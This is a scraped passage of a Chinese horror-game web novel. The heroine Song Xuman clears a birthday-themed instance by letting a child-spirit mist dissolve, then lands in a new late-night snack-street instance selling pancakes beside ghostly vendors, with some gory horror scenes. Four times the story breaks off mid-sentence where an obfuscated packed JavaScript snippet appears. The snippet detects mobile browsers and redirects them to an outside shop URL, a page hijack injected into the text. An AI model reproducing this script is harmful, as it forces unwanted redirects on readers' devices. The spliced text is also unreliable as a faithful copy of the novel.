她用力转动着大饼,像是扭动着发条。 “咔嚓——”有什么东西破碎了。 宋须满活像美猴王出世,她一手抓着大饼,一手抓着银钗,蹦了出来。 她大喊一声:“出来吧!” 银钗抖动着,回应着她的话语。 一女鬼从银钗里飘了出来。 这是,李大丫留下的意识。 女鬼威风凛凛,在空中转了半天,没有发现任何异常,她满脸疑惑:“哪呢?” 宋须满:“……你低头看。” 女鬼低下她高贵的头颅,终于看到了黑雾。 黑雾没有退缩!祂很勇敢地直奔女鬼而去,将女鬼包围了。 李大丫残留的意识警惕地应对着,在负面情绪缠上来时,她拿出了十二分的能力。 结果,李大丫:??? 虽然这么说不太礼貌,但是她还是很想说:“就这?” 不过是被父母抛弃后死去,而不是被父母推出去送死。 苦难没有高低,也不应该被比较。但这种苦难,对她来说确实没有什么威胁。 也没必要动用她的能力了。 李大丫也是做过人好几年的,她对着黑雾劝道:“小朋友,做人真没什么好的。那是因为你得不到,所以才想要。” 宋须满附和道:“就算你已经知道今后要经历的苦难,你仍然想要做人吗?” 黑雾翻涌的动作凝滞了一瞬,它似乎在思考。 “别人的东西终究不是你的,你这样抢别人的身躯,可是大家爱着的是那个人的灵魂而不是身躯。” 黑雾想起来了。这么多次,祂掰着手指都数不过来的时间里,那些父母总是一眼就能发现那具躯壳换了芯子。 然后哭喊着求祂把孩子还回去。 祂感到愤怒,于是把那些很吵闹的大人都杀了。 那些躯壳明明已经被祂夺走了,却仍有一种奇异的力量不断将祂挤出去。 即使口鼻流血,即使躯体四分五裂。 祂仍记得给祂留下最深刻印象的一个女孩,当祂杀了她的父亲后,那女孩的意识还未完全死去。 祂接着想把她的母亲叠起来,像叠一张纸那样。没有什么特别的理由,除了她确实很吵闹以外,仅仅是因为好玩。 不料手臂突然收到一股微弱的牵引力,使祂伸出的手臂向外偏移了一点。祂甚至来不及碰到她的一片衣角。 接着是腿,不自觉地向门外去。 祂没有惊慌,反而感到很好玩。 于是祂和她玩起了“游戏”。 手臂向外挥,祂就将手臂向内扭,头想往外看,祂就将之掰正。 最后是腿,这太难掰回来了。祂想着,甚至让她跑出了门。 好在,祂最终“如愿”了。 女孩的身躯像个被顽劣孩子随意扭动后丢弃的木偶,四分五裂地掉在地上,血液渗进泥土中,地面上没有留下什么。 祂伤心了一下,因为祂想要的躯体没了。 然后蒋艺骂祂没出息,每次都能将拿到手的东西搞坏。 祂感到委屈,蒋艺的力量明明是自己分给她的,却对祂如此凶。 就像一个严厉管教孩子的…… 妈妈。 是的,就像妈妈一样。妈妈会严厉地管教你,什么事应该做,什么事不应该做。会在你做错事时严厉批评你,会在你做得好时不吝啬地表扬你。 可惜蒋艺不是个完全体的妈妈,她只会严厉地骂祂。 但就算只有这点,祂也愿意永远包容她。 想到这,黑雾不安地翻涌起来。 祂与蒋艺的联系似乎在早一些的时候就没有了。不过为了这次不让蒋艺失望,祂只能放弃寻找蒋艺,而是选择优先来抢夺宋须满的身躯。 “蒋艺已经不在了。”宋须满平缓的语调在祂的耳中却不亚于惊雷。 “不要……我。”凝滞成一副静物画的黑雾发出了稚嫩的声音。 宋须满很少听到祂讲话,也许祂并没有完全学会人类的语言。 “她不要你了!”李大丫抱着胸在一旁幸灾乐祸,虽然她不知道这个蒋艺是谁。 黑雾开始抽搐,宋须满开始思考,祂有眼泪吗? 黑雾怎么会有眼泪呢? 就算很难受,祂也不能像人类一样落泪,即使祂非常渴望成为人类。 宋须满瞪了李大丫一眼,叫她回去。 李大丫嘀嘀咕咕着:“叫我出来就为了这?出场费结一……”她被银钗收回去了。 宋须满对着黑雾伸出了右手,她曾与蒋艺掌心相贴的手。 “你能感受到吗?”宋须满盯着黑雾,可惜这只是一团雾,非要说像什么的话,也只能是乌云了。 可惜黑雾和乌云都没有眼睛,宋须满只能盯着她感觉像是眼睛的地方。 “蒋艺去了一个更加美好的地方。也许她会开启新的人生,也许不会。但未知才代表希望,对吗?”祂能感觉到的吧,毕竟祂和蒋艺之间的羁绊,比任何人想象的都要深。 得到什么,就要付出什么。 这是蒋青冬曾告诉她的话,她想,这句话适用于大多数人。不,甚至包括大多数鬼。 蒋艺引导祂夺取他人身躯,蒋青冬由于对女儿的愧疚,也许也帮蒋艺做了不少事。 以传统的观念看,她们是坏人。 传统观念讲究好人上天堂,坏人下地狱,直至赎清所有罪孽。 也许现实与之存在差异,她们没有上天堂也没有下地狱,直接消散或者去投胎。 要是真有地狱的存在,她们或许正在地狱相互依靠吧。 无论如何,她已经摆脱了循环中的困境。 “那你呢?你想继续留在这里重复着那些罪行,还是和蒋艺一起走呢?” 黑雾仍然在抽搐着,宋须满严重怀疑祂根本没在听她在说什么。 “……走……走。”糊成一团的稚嫩嗓音变得有些清晰。 要是说先前是把无数个年龄相差不大的孩童的声音丢进搅拌机混成一团。 那么现在就是无数个年龄相差不大的孩童站在一起合唱般。 仔细听,你就能听出每个人的声音。 孩子的声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564237|142861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音都差不多,但有些细微上的不同。 有的尾音微微上扬,有的带着些许鼻音,有的细弱如蚊…… 一个个鲜活的人,一条条鲜活的生命。宋须满觉得他们不该这样“活”。 “来吧,握住我的手。”和蒋艺触碰过的手,四舍五入等于直接握蒋艺了。 黑雾中伸出无数只小手。先是一只,又是一只,一只接着一只…… 从一朵圆滚滚的乌云突然变成了刺猬。 由于不知道应该先握哪只,宋须满站着没动,把右手往那只“刺猬”那边伸了伸。 无数只小手争先恐后上来抚摸她的手,甚至小到整只手包裹起来,只能抓住她一根手指头。 宋须满感受着那些触碰,冷冰冰的,深入骨子里的冰。 但接连不断的触碰,稚嫩的小手在她手上摩擦,肌肤触碰刺激着她的大脑。 此刻不觉冰冷,反而有一种异样的感觉。 小手们心满意足地缩了回去,黑雾肉眼可见地在变淡。 从墨色变成灰色,最终变成白色,然后是透明…… 祂消散了。 宋须满感到内心一阵畅快,似乎压在那的大石头随着祂一同消散了。 这是原身残留下来的意识。 “小满!”爸爸妈妈跑了过来,他们紧紧抱着她,像是要将她融入血肉之中。 “刚才那团黑雾进入了你的身体,你就站在这不动,可把我们吓坏了。” 原来在其他人的眼里,是黑雾进入了她的身体吗? “爸爸妈妈,我们成功了。”宋须满笑着说出这句话,同时,她的内心中也有一道一样的声音混在其中。 距离今天结束只有十分钟。 爸爸妈妈一直抱着她哭。 宋须满试着缓和气氛:“蛋糕呢?今天可是我生日。” 等妈妈真的从冰箱里拿出一个保存完好的蛋糕时,宋须满惊呆了。 她也没想到他们居然真的准备了蛋糕。 在这个很可能会死去的日子里,很可能没有今天的日子里,准备了这么一个看起来毫无意义的蛋糕。 但凡有一个人死去,这个蛋糕的存在也许就会永远被封存。 而现在,它重见天日了。 时间还剩下五分钟。 妈妈点燃了蜡烛,温柔地看着她。爸爸关闭了家中的灯。 每个人的脸庞都被被温暖的烛火映照着。 时间还剩下三分钟。 “许个愿吧。” 宋须满闭上眼,过了一会,她吹灭了蜡烛。 时间还剩下最后一分钟。 “生日快乐!”爸爸妈妈的眼中含着晶莹的东西,像是溢出的爱意。 “啪嗒。”明亮的灯光亮起。 “怎么会有父母认不出自己的孩子呢?” “如果这是她的选择,我们尊重。” 留在宋须满意识里的,是这最后两句话。 是啊,他们怎么可能认不出呢? 拼尽全力以强大的执念将女儿送入循环的人,怎么可能认不出呢? 【恭喜玩家[画大饼之神]通关副本「生日快乐」 副本评价:S】 她终于真正通关了。 20. 生日快乐(完) 又是一万积分,也许副本最多就给一万积分?不过这次她获得了四个道具。 [“无间”:这是最脆弱的连接,也是最坚固的连接。你曾与谁亲密无间,血肉相连?脐带另一端的人第一次看到你时,温柔地笑了。 说明:当玩家与另一指定玩家距离小于等于五米,可出现一条红绳,强制与之相连接。] [“控制”:不许出去玩,不许走神,不许喜欢……必须努力,必须争气,必须选择……也许你不爱听这话,但是没办法,不是吗? 说明:就像它的名字一样,玩家可硬控三米内的任一有生命体征的物体3秒。你可能会觉得这没什么用。唉,你必须使用它,到时候你就知道了……] [“代价”:蒋某冬说过,想要得到什么,就要付出什么。人类社会发展至今,从物易物到一般等价物的出现。等价交换,从古至今永恒不变的真理。 说明:玩家可选择一件道具,必须客观上等价于其他玩家的道具。进行强行交换。对方不得拒绝,因为拒绝了也没用。] [“祝福”:“你知道吗?名字其实是父母给予你的祝福哦。”“小满……我的父母一定希望我这辈子圆圆满满吧!” 说明:每一次呼唤,都是我对你的祝福。在一生中,我将呼唤你的名字无数次,就算千千万万次循环,也不放弃。这是父母和孩子共同的心声。玩家可给予某人“祝福”,但是会发生什么,这里暂不赘述。] 看着这些道具说明,宋须满若有所思。 通关副本奖励的道具似乎都是些和副本有关的东西。 连接,控制,代价,祝愿…… 就像一根线一样,将她在副本里所经历的一切串联起来。 【抽取神秘道具……】 就她一个人,有什么好抽的?难不成还能跑出一个鬼和她一起参与抽奖,竞争这个幸运儿的名额吗? 旁边突然冲出一个鬼影,然后把她的神秘道具抢了! 那鬼影桀桀怪笑,拿着道具一溜烟跑了,而她宋须满凄凉地站在原地,有几片枯树叶从她头顶飘落。 卡!以上纯属她个人虚构。 【恭喜玩家[画大饼之神]获得副本「生日快乐」神秘道具!请确认。】 真是太惊喜了,宋须满将“同时播报全城”取消,然后点击了确认。 [生日蜡烛:一个普普通通的生日蛋糕上的一根普普通通的蜡烛,没什么特别的。别看了,真没什么特别的……真的! 说明:或许你讨厌熊孩子吗?那十个熊孩子呢?那一百个呢……虽然不知道祂和蜡烛有什么关联。也许,祂也在羡慕过生日时父母帮忙插蜡烛的温馨场面?玩家可依靠点燃蜡烛召唤藏于烛芯中的祂。 警告:神秘道具在一场副本中最多使用一次,次数与其他神秘道具不通用!] 一根小小的蜡烛落入她的手中。 很经典的蜡烛,甚至是双色拼接。 很普通的蜡烛,像是每个人过生日时会插在蛋糕上的那种。 没有温度的蜡烛,却莫名让她想起那些小手的触碰。 【副本结算完毕……关闭……欢迎回到「昼城」。】 宋须满眼前一白。 好消息,她成功回到昼城了。坏消息,回到的是之前被传进副本的地方。 昼芽路88号,应有尽有道具店…… 门口的大街上,一个少女握着蜡烛凭空出现。 也不知道今天有什么活动,大街上人来人往,人数简直比宋须满进去时提升了不止一个level! 一个路人看到宋须满手中的经典蜡烛,上前几步,激动地握住她的另一只手上下摇了摇。 “生日快乐啊生日快乐!” 真是莫名其妙,接着那人喜悦地掏出一张传单,塞到了宋须满的手里。 那不奇怪了,那不奇怪了…… 「宇宙无敌至尊霹雳美味一条街。 你还在为不知道吃什么而苦恼吗? 你还在看着冰箱里白色的令人毫无胃口的食物发愁吗? 你还在犹豫什么?! 昼芽路77号昼城最最最有品(重点标红)的小吃街,期待您的光临! 不要9.9(很小的一个折),不要8.8(同上),只要7.7(同上)!」 宋须满一脸疑惑地从传单里抬头。 原来这么多人,都是去参加那个小吃街的活动吗? 由于没注意看路,宋须满撞到了什么东西,手上的传单挣脱了她的钳制,巍巍颤颤落到地上。 “哎呦!”她没叫,那“东西”却叫了,是有些熟悉的声音。 林归云一只手虚虚抵着她撞上去的头,但是没啥用,因为宋须满的脸已经牢牢贴在他的胸膛上,另一只手扶着她的手臂。 宋须满感受了一下额头的触感,有些冰凉,但是非常有弹性! 于是她趴了一会才顺着林归云的力道起来。 “是你啊!”林归云捡起传单递给宋须满,很惊讶的样子,“你也是为了这个小吃街而来吗?” “上次你突然就消失了,是突然有急事传送回去了吗?”林归云的目光里透露出清澈的愚蠢。 宋须满接过传单,没有理会林归云的问题。 她这时才注意到,传单的背面原来还印着琳琅满目的食物。 白白嫩嫩的豆腐脑,焦香酥脆下一秒就要爆汁的章鱼小丸子,绸缎般入口顺滑的刀削面,洒满拌鞋底都好吃的调料的淀粉肠…… 宋须满感觉自己有点饿了。 于是她拉着林归云就走:“对对对!快走吧!” … 宋须满发誓,她已经很久没有见过这么多人了。 一眼望不到头的狭窄街道里全是人,她勉强能从人群的缝隙间窥见一些小吃摊的一角。 她很干脆地就放弃了:“这么多人,我们还是走吧。” 在这里被挤成沙丁鱼罐头,还不如回去面对冰箱。 林归云却笑着,死死拉住她:“别啊,好不容易来了。你看那边,人是不是少一点。” 他示意着宋须满往一个角落的摊位看去,宋须满暗觉奇怪,她记得那里之前也挤满了人,怎么一眨眼,那边的人就变少了。 那其实算不上一个真正的摊位,破旧的三轮车上放着两个大铁桶。 旁边立着的纸板写着几个大字“豆腐脑”。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13566012|142861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 宋须满要了一碗甜豆腐脑,而林归云要了一碗咸豆腐脑。 宋须满以一种难以言说的表情看着他。 林归云被看得有些不自在:“怎么了。” 宋须满吸了口甜豆腐脑,还是挂着难以言说的表情,她摇摇头,看着林归云手上的咸豆腐脑,欲言又止,最终叹了口气。 林归云:……不许歧视咸党! 接下来,林归云就像有魔力一样,指哪哪的人就变少,依靠这一招,宋须满前后品尝了章鱼小丸子、刀削面和淀粉肠。 “嗝~”宋须满吃饱了,她甚至拿着手机刷了起来。 玩家论坛里又有个标红的帖子,又是官方发的。 【请玩家注意,「生日快乐」副本已永久关闭。】 [3.1415926]:怎么又有副本永久关了?最近是出什么大事了吗? [补药倒霉]:不清楚,我只知道我补药再倒霉啦。上个副本,我就要通关了,结果临走前女鬼姐姐一巴掌给我头都拍下来了。 [兔了]:楼上是人是鬼?@恐怖游戏官方。 [月见]:不要惊慌,副本关闭是好事。@恐怖游戏官方。 [AAB卖道具]:道具找,不要久久吧,只要一点点计分。 宋须满:…… 真是在官方眼皮子底下犯罪! 点进卖道具那人的头像,果然又被封禁了。 宋须满吃完了最后一口烤肠,她退出玩家论坛,看着一旁的排行榜蠢蠢欲动。 上回她还没来得及看呢。 排行榜分为总榜和新人榜,新人榜是指进入副本不足五个的玩家根据积分上榜。 这规则看着有点眼熟,和某个绿色小软件的规则有点类似。 由于她才过了两个副本,在排行榜上的排名还不是很高,堪堪挤进前二十。 她稍微翻阅了一下榜单,第一名的名字叫做。 [弱小可怜又无助] 宋须满大受震撼,因为第一名的积分已经足足达到了四万,有零有整的,按照宋须满的推测,一个副本最高评级为S,那么这个人已经完美通关了四个副本。 她足足对了三遍,确保这个名字和那个四万积分没有对错行。 林归云看着宋须满对着手机一会儿瞪大双眼,一会儿惊叹,不由得把头凑过去看。 “对了,这新人排行榜是怎么没有你的名字?”宋须满的手指不停往下划,那榜单长无止境,简直要耗尽人的耐心。 “我也不知道,可能我太菜了。”林归云眼神暗了暗,“对了,那一家我们还没吃过呢。” 林归云拉着宋须满就往小吃街中心的一个小摊走,宋须满还没来得及抗拒,他们已经往中心走了好几步。 中心的小摊周围的空气突然波动起来,肉眼可见地波动起来。波动的频率越来越快,像是努力压抑着的什么要爆发了。 一阵刺眼的光亮,紧接着,宋须满感到一股巨大的压力,简直像是要把她摁在地里,她两眼一黑,失去了意识。 一条高亮飘红的信息置顶显示在所有人的手机上。 【危!昼芽路发现高危封禁副本,现已禁止通行!!!】 21. 深夜小吃摊(一) 【欢迎各位玩家进入游戏, 副本名称:深夜小吃街 副本人数:5 副本简介:某花花绿绿的传单:[你是否在为选择吃什么而苦恼?你是否想尝到世间独一无二的特殊风味?深夜小吃一条街!为您带来最棒的味蕾盛宴。] 传单下杂乱的留言: “豆腐脑真的很好吃,滑滑嫩嫩,总感觉吃了就变聪明了。下次还来!” “章鱼小丸子会爆汁,很不错!” “我从未见过如此细腻洁白的刀削面。” “淀粉肠真是永远的神,很有嚼劲!” 时限:7天 通关条件:请努力打工赚钱!然后选择“正确”的小吃摊进行消费。有的时候,选择比努力更重要哦。(^^)】 【玩家[画大饼之神]已登录,祝您好运。 你是慕名而来的游客,本想享受味蕾盛宴。不料因为你画大饼技术的神乎其神,竟然被邀请入驻“小吃一条街”。 你因此受邀在此卖大饼,行为诡异的同事,门可罗雀的大饼摊,与其他人不一样的任务……很有挑战性呢,难道不想试试吗?^_^】 【已检测到玩家身份变化,玩家[画大饼之神]任务变更:七天内营业额达到10000。 任务提示:请通过寻找其他玩家解锁更多食谱。】 宋须满:等等,我还没同意啊! 这系统怎么莫名其妙给她换了个任务。 可惜副本之神不会给她抗争的机会,下一秒,无数嘈杂的声音钻进她的耳朵。 摊主大声的吆喝声,铁板上烤肉的滋滋作响,顾客的嬉笑声…… 接着是嗅觉。 把人馋虫都要勾出来的食物混合在一起的香气。 这是一条一眼望过去,都望不到头的小吃街。由于此时夜色正浓,这一个个小吃摊亮起,好似黑夜中的一条星河。 宋须满手里拿着铲子,面前又小又脏又乱的台面上放着个很大的鏊子。 这是个大饼摊。 鏊子很霸道地占了大部分摊面,可怜的食材乱糟糟地挤在最左边。鏊子的右边则是被各种调料所占据。 “老板,来份煎饼。”宋须满还没完全融入这条小吃街,竟然已经来生意了。 那这一万的营业额岂不是简简单单,易如反掌,非常一般啊。 “好嘞。”很显然,她已经完全进入了这个角色,此刻的她,就是一个真正合格的大饼摊主。 宋须满舀起一勺面糊,均匀地摊在鏊子上,打上鸡蛋,然后熟练翻面,撒上调料,接着抬头问顾客:“您要加些什么?这鸡柳可新鲜了,今早刚解冻……刚到货的。” 不看不知道,这顾客脸色发青,眼如死鱼,动作僵硬,只要在头上贴个条,恐怕没有人不会不怀疑他是僵尸。 僵尸顾客僵硬地点头,看起来没有什么主见,宋须满乘胜追击:“您再看这个辣条,上至八十岁老人,下至三岁孩童,人鬼都爱吃!” 僵尸顾客仍僵硬地点头,看起来他只会点头。 宋须满良心有点不安,这样欺负一个只会点头的僵尸,算什么本事。 于是她愧疚地将又加了培根的煎饼递给顾客:“请按照牌子上写的价格付钱。” 头顶上的牌子写着: 煎饼果子11元,鸡柳4元,培根3元,辣条2元。 由于只写了这些,巨大的牌子看起来有些空落落的,看起来是要后续解锁更多食谱。 僵尸顾客僵硬掏兜,掏出了一张冥币。 宋须满满脸笑容地接过,然后变了脸色。 虽说纸币的本体是冥币,但是这上面写着的,仅仅是20元。 【营业额+20】 顾客接过煎饼,咬了一口,点着头:“难吃!” 宋须满感觉天都要塌了,从前她也做过大饼摊主,那可是广受好评,怎会如此? 顾客将咬进嘴里的煎饼吐到地上,点着头:“避雷!”,然后一蹦一蹦地走了。 也许是看宋须满一手拿着铲子,一手抓着钱,围着破旧围裙,一声不吭地站在原地,与嘈杂的小吃街格格不入的可怜模样。 隔壁摊位伸出一只手,拿着一份热腾腾的豆腐脑:“别伤心,他就是喜欢挑刺。” 宋须满的视线顺着那粗糙的手转移到那人脸上,原来是个卖豆腐脑的大妈,她看起来年岁有些大,满头银发。 但她看起来十分正常,但这就是最不正常的地方了。 即便如此,浓厚的黄豆香气钻进她的鼻孔,宋须满感到冷冷的心被这豆腐脑温暖了。 “谢谢。”宋须满看着大妈饱经风霜的面孔道谢,世上还是好鬼多啊。 又过了一会,周围嘈杂的声音更盛,想来是到了夜宵时间。就连先前安慰她的豆腐脑大妈都忙碌了起来。 摊位的摊主们干得热火朝天,锅碗瓢盆碰撞出的清脆声音不绝于耳,无数霸道的香味从四面八方飘来,强硬地挤进鼻子。顾客们自觉地排起了长长的队。 而宋须满完全不用担心出餐来不及或是顾客没有排队,这倒不是她厨艺有多高超以及她的顾客多有素质。 而是因为宋须满简陋的摊位前面没有一个人,凄凉的就连乌鸦看见也想飞过,顺便留下六个点。 她严重怀疑是那个僵尸向所有人避雷了她,从而导致她生意惨淡。但是她没有证据。 所以她一边思索着要怎样通过副本,一边给自己摊了个煎饼吃。 “咔嚓——”怎会如此?宋须满表示很震惊,这味道实在是…… “……有点难吃,我要避雷我自己。” … 与此同时,另一边。 林归云和另外三个玩家正站在这“深夜小吃街”的入口处。 系统正在向他们说明规则。 【玩家可从清洁工、派单员、保安、外卖员中选择一个,薪资未知,待遇未知。请选择……】 这里是恐怖游戏,无论是哪个职位,看起来都很危险的样子。 一时竟没有人选择,也不知是在犹豫还是在害怕。 林归云挠了挠头:“大家都不选吗?我想选外卖员,因为我平时也有在送外卖。” 其他三人向他投去了一个复杂的目光,仔细看,好像还带有一丝怜悯。 虽然看起来都很危险,不过外卖员好像看起来更危险一点,这个看起来就像个大学生的少年居然直接就选了这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579833|142861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个最危险的角色。 有了他的带头,剩下三人也陆陆续续选好了他们的工作。 【请各位玩家移步“鑫鑫大厦”进行工作。】 原本只有小吃街是亮的,现在又出现了一块亮着的区域,高耸入云,给人很强的压迫感。 如果说小吃街是点点繁星般的亮,那大厦就是日光般的亮,每一格里都亮着光,好像无数个昼城的太阳。 但除了这两块区域外,其他地方全是暗的,好像整个世界就只剩下了这两个地方。 充满烟火气的小吃街和闪烁着冰冷严肃的光的鑫鑫大厦形成了鲜明对比。 选了清洁工的是一个和林归云看起来差不多大的少年,他染着金色的头发,明明是非常耀眼的头发,却也没有抢了五官的风头。 那仅仅是因为他实在生得太好看了,是直接原地女装都不会被人发现是男生的程度。 金毛靠近林归云,低声道:“兄弟,需要买道具吗?” 一个小小的硬硬的凉凉的东西碰了碰林归云的手。 [专业卖道具!离百年老店只差九十九年。有意者请加:AAA卖道具,AAB卖道具,AAC卖道具,AAD卖道具……(要是被封了纯属正常,请添加下一个)] 玩家昵称从正面的下半部分一直挤到了背面,密密麻麻,简直让人要犯密集恐惧症。 见林归云没有说话,金毛急忙解释:“真的是正规道具,副本道具难拿,你也不想买道具店贵得离谱的道具吧?” 林归云不想和他纠缠,假装很欣喜的样子:“谢谢你!我回去就加。” 金毛激动地开始和他介绍道具,林归云眸子亮晶晶,很认真地听着。 无人注意到,在他走过的路旁,散落下硬卡纸的碎片。 四人在系统的引导下抵达了“鑫鑫大厦”。 “真大呀,远看还没有这么震撼。”选择了派单员的是个穿着职业装的女性,看起来很有精英气质。 就连她也被这大厦给震撼了,确实是很大的楼,不知道有几百层。 “快进去吧。”这是选择了保安的健硕大叔,看起来和他选择的工作很符合。 四人进了门,敞亮的大厅内,前台桌后的机器人冰冷地对着他们微笑:“你们就是今天来报道的新同事吗?欢迎!” 机器人屏幕上的微笑变成一朵缓缓炸开的烟花。 话说它这品味也不咋滴,这烟花没有烟花的形状,倒像是溅开的血迹。 氛围有些诡异,机器人恍若无觉,为每个人分配了工作。 金毛看到分配的任务,脸都绿了:“还真叫我去扫大街啊?” 临走前,他勾住了林归云的肩膀:“兄弟,你可别忘了加我好友,我叫叶詺。” 叶詺很努力和他搞好关系,也不知道图啥。 … 宋须满吐完煎饼,终于得出了一个重要的结论,这个大饼摊现有的食材,很可能已经过期好多年了! 大饼摊上只有那几个写在牌子上的食材,看来想要获取新鲜的食材。就不得不去找到其他玩家解锁新食谱了。 她走出小吃街,看着不远处亮得将那边一半的天空都快要变成白昼的大厦,若有所思。 22. 深夜小吃街(二) 宋须满推开“鑫鑫大厦”的大门,不禁感叹道,不愧是六个金,这大堂看起来就是有钱。 就连空气都透出一股金钱的味道。 前台机器人的大屏幕上挂着礼貌的微笑:“您好,欢迎来到鑫鑫大厦!”^_^ 宋须满小心翼翼地踩着这擦得几乎如明镜的地板走近:“你好,请问今天有新员工来吗?” 机器人:“您好,欢迎来到鑫鑫大厦!” “请问有人在这打工吗?”宋须满以为它是没听清,又问了一遍。 机器人大屏幕未变:“您好,欢迎来到,鑫鑫,大厦。” 刻意在“鑫鑫”两个字那里停顿了一下,好像要突出些什么。 宋须满听懂了,鑫鑫大厦,“金”钱至上。 她肉疼地掏出那二十元冥币,在机器人的大屏幕前面挥了挥。 大屏幕上嫌弃的表情一闪而过。-_- 机器人伸出手,宋须满将纸币轻轻放进它的掌心。 “您好,清洁工现在的位置为:鑫冬路88号。” “然后呢?”怎么就告诉她一个人的信息?这可是她辛辛苦苦赚来的所有钱! 机器人不理她了,甚至哼起了小曲:“钱钱钱~钱钱钱钱~” 好吧,其实她也没想一次得到所有信息。 … 鑫冬路88号,新上任的清洁工叶詺拿着清洁工具,目瞪口呆。 “这些都是什么啊?” 在昏暗的路灯下,红红白白的痕迹将道路的尽头覆盖,看起来有些像浆果被碾碎后黏糊糊的感觉。 要是抛开腥臭味不谈的话。 被碾碎的“浆果”上有几个半球体,大小不一,看不清是什么。 叶詺走近后:还是看不清比较好。 那竟然是一个个人头,不,是半个半个人头。 人的头有大又小,很合理。那些人头的横切面平行于眼睛一圈。 人头里缺少了什么东西,就像闷热的夏天被人挖空的清甜西瓜。只剩下一个干干净净的壳。 是缺少了脑子啊。 叶詺强忍恶心:“这种场面只叫一个清洁工打扫是不是太随便了啊!” 但是他没有办法,他只能努力用沾水的抹布去擦地上粘腻的红白混合物。 还没过几次,水桶里的水已经变得腥臭不堪了。 “呕——”叶詺脸色惨白,他的视线转向不远处的水龙头,看来不得不换一桶水了。 他捏着鼻子拎着水桶就要去换水。 一个硕大的东西在他眼前一闪而过。 “哐——”水桶掉在地上,腥臭的液体溅出不少。 叶詺警惕地四处查看,没有发现异常。 不对,有哪里不对。 他皱着眉看着那几个半球体,似乎有什么不一样了。 刚刚的墙角,似乎是有半个人头的,但现在没有了,那里空落落的。 叶詺对于自己的记忆力还是很有信心的,他三岁时便能将圆周率倒背如流,五岁时精通所有唐诗宋词。 当然,众所周知,圆周率是不能倒背的,不过谁知道他背的是不是假的圆周率呢? 现在的他很确信,有半个人头不见了。 他不敢轻举妄动,继续留意身边的响动。 “沙沙——”是人行走在地上的声音。 叶詺像一只敏捷的猫,朝着那声响处扑了过去。 对方被他按在地上,叫了一声。 对方的长发披散在地,宛若盛开的花朵,衬着少女的五官,给予他很大的视觉冲击。 洋娃娃般的少女拧着眉,不解地看着他。 叶詺满脸通红蹭地一下站起来,顺便拉起了地上的少女,不敢直视她:“不好意思,我还以为是那些东西。” 宋须满受了这无妄之灾,她拍拍背上的尘土,打量着叶詺。 “你是清洁工?” 叶詺愣愣道:“你怎么知道?” “我也是玩家,我叫宋须满。”宋须满对着他伸出手,这是一个展示友好的动作。 “玩家?”叶詺怀疑地看着她,往后退了一步,狐疑道:“我不记得进副本的有你。” “那是因为我的任务和你们的不一样,你不记得刚开始显示的副本人数是五人吗?” 叶詺回想了一下,好像是显示的五人。 一般玩家都不会在意这种无关紧要的东西,所以当时他也是匆匆扫一眼就过了。 经过宋须满的提醒,那被忽略的记忆被翻了出来。 在确定宋须满也是玩家后,叶詺将小卡片塞到了宋须满的手里,满脸期待:“一定要加我好友哦。” 随身携带足够多的小广告并且成功发出去,是一个成功商人的基本素养。 其实派单员好像更加适合他,不过那位看起来气质就很精英的姐姐先选了,他就只能退而求其次地选择了清洁工。 反正他之前四处打工时做过清洁工,也算是有经验的人了。 宋须满地铁老人手机:原来那个论坛里每次都被封号的都是你啊! 得知宋须满的任务居然是摆摊卖大饼,叶詺惊呆了:“你的任务看起来好好玩。” 宋须满:“好玩吗?根本卖不出去哈哈。” 叶詺向她解释了一下为什么刚刚要扑上去以及鑫鑫大厦发给他的任务。 “我要打扫这条路,直到完全干净。这样我就能拿到2000元。” 他期待地看着宋须满,宋须满往后退了一步,就像他之前那么做的。 “婉拒了哈。” 这条路着实诡异,叶詺碰见的那个硕大的东西到底是什么? “你还是快点打扫吧,这可是不可多得的锻炼机会。”宋须满催促到。 已经找到其他玩家了,也不知道怎样能解锁食谱。 叶詺苦兮兮地继续打扫。 终于,两个小时后,他打扫完了,洗干净手,他将那几个半球体装进桶里:“这样应该算打扫好了吧?” 【请移步鑫冬路87号进行休息。】 叶詺犹豫地看着宋须满:“系统要求我去那边的屋子。” 宋须满看了看他指着的房子,一间破旧的土胚屋,简直就像还没完全装修好。 “走啊。” “你要和我一起吗?”叶詺有些惊讶。 宋须满用实际行动回答了他,她抬脚就往那边走,不带一丝犹豫。 叶詺感动地跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 